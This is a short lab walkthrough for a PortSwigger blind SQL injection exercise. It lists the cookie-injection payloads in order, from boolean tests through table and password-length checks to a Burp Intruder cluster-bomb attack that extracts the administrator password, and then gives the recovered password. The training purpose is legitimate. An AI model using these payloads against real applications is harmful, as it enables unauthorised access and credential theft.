https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
Lab objective: Log in as the administrator user.
The database contains a different table called users, with columns called username and password.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.
Lab: Blind SQL injection with conditional responses
We know that This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
So we will try on tracking cookies
- We get
Welcome back!in this queryTrackingId=Ch576wpFtyryfXOj' AND 1=1--but not in this queryTrackingId=Ch576wpFtyryfXOj' AND 1=2--soTrackingIdhave SQLi. TrackingId=Ch576wpFtyryfXOj' AND (SELECT 'X' FROM users LIMIT 1)='X'--The query return true mean there have users table and users table is not empty. HereLIMIT 1mean return 1st row of theuserstable and check ‘X’=‘X’TrackingId=Ch576wpFtyryfXOj' AND (SELECT username FROM users WHERE username='administrator')='administrator'--This query will check there have any username column and there have administrator username.TrackingId=Ch576wpFtyryfXOj' AND (SELECT username FROM users WHERE username='administrator' AND LENGTH(password)=20)='administrator'--This query will find length of the password. The length of the password is 20.TrackingId=Ch576wpFtyryfXOj' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')>'a'This query will find the first letter of the password is bigger then a.- Now we will send the the query to
intruder taband make some of changesTrackingId=Ch576wpFtyryfXOj' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--this 2 will variable. we will use 1 to 20 for theSUBSTRINGand a to z and 0 to 9 for thea. And we will user cluster bomb attack for this. - We find the password by the attack
romlspykjnui6ha9qhmb(Chang every-time). - Now login. And solve the lab.